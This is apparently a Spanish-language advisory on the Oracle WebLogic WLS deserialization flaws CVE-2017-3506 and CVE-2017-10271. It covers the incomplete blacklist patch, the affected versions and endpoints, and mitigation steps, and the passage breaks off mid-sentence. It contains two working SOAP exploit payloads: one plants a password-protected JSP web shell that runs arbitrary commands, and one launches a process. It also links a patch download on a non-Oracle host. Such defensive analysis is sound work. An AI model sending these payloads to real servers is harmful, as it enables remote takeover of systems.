
Autor original: [email protected]
mitre:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-3506
Anteriormente, los hackers aprovecharon la vulnerabilidad del componente WLS de WebLogic para lanzar ataques remotos a gran escala contra servidores empresariales. Gran cantidad de servidores de empresas fueron comprometidos, y el número de empresas atacadas mostraba una tendencia claramente ascendente, por lo que se debe prestar gran atención. Entre ellos, CVE-2017-3506 es una vulnerabilidad de ejecución remota de código que explota el componente WLS en Oracle WebLogic. Es una vulnerabilidad explotada en la naturaleza sin detalles públicos, y muchas empresas aún no han instalado el parche a tiempo. El fabricante publicó el parche para esta vulnerabilidad en abril de 2017.
public WorkContextXmlInputAdapter(InputStream is)
{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try
{
int next = 0;
next = is.read();
while (next != -1)
{
baos.write(next);
next = is.read();
}
}
catch (Exception e)
{
throw new IllegalStateException("Failed to get data from input stream", e);
}
validate(new ByteArrayInputStream(baos.toByteArray()));
this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
}
private void validate(InputStream is)
{
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try
{
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler()
{
public void startElement(String uri, String localName, String qName, Attributes attributes)
throws SAXException
{
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
}
catch (ParserConfigurationException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (SAXException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (IOException e)
{
throw new IllegalStateException("Parser Exception", e);
}
}
Simplemente se añadió una función validate antes de la deserialización; si qName es igual a object, se lanza una excepción y se detiene. Se puede decir que es simple y contundente; sin embargo, este tipo de reparación mediante listas negras difícilmente pueda corregirse por completo. Es digno de reflexión...
El método de explotación de esta vulnerabilidad es relativamente sencillo; el atacante solo necesita enviar una solicitud HTTP especialmente diseñada para obtener los permisos del servidor objetivo, con un gran impacto. Dado que la vulnerabilidad es relativamente reciente, todavía existen muchos hosts que no han actualizado los parches correspondientes. Se prevé que tras este incidente, probablemente se produzca un aumento brusco en el número de ataques y que una gran cantidad de nuevos hosts se vean comprometidos.
El parche oficial de Oracle de abril no corrigió por completo la vulnerabilidad CVE-2017-3506; es posible omitir el parche y seguir ejecutando comandos remotos. La vulnerabilidad de omisión actual de CVE-2017-10271 se corrigió en el parche oficial publicado en octubre.
CVE-2017-10271 (vulnerabilidad de omisión de ejecución remota de comandos en wls-wsat)
Oracle WebLogic Server versión 10.3.6.0.0
Oracle WebLogic Server versión 12.1.3.0.0
Oracle WebLogic Server versión 12.2.1.1.0
Oracle WebLogic Server versión 12.2.1.2.0
/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println"><string><![CDATA[<% if("secfree".equals(request.getParameter("password"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
} %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>




<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>







http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html https://lipeng1943.com/download/weblogic_patch-catalog_25504.zip
Controlar el acceso a los recursos de wls-wsat.
Solución temporal
Sin afectar el negocio, según la ruta del entorno real, elimine los siguientes paquetes war y directorios del programa WebLogic.
rm -f/home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
Después de reiniciar el servicio o el sistema WebLogic, confirme si la visita al siguiente enlace devuelve 404: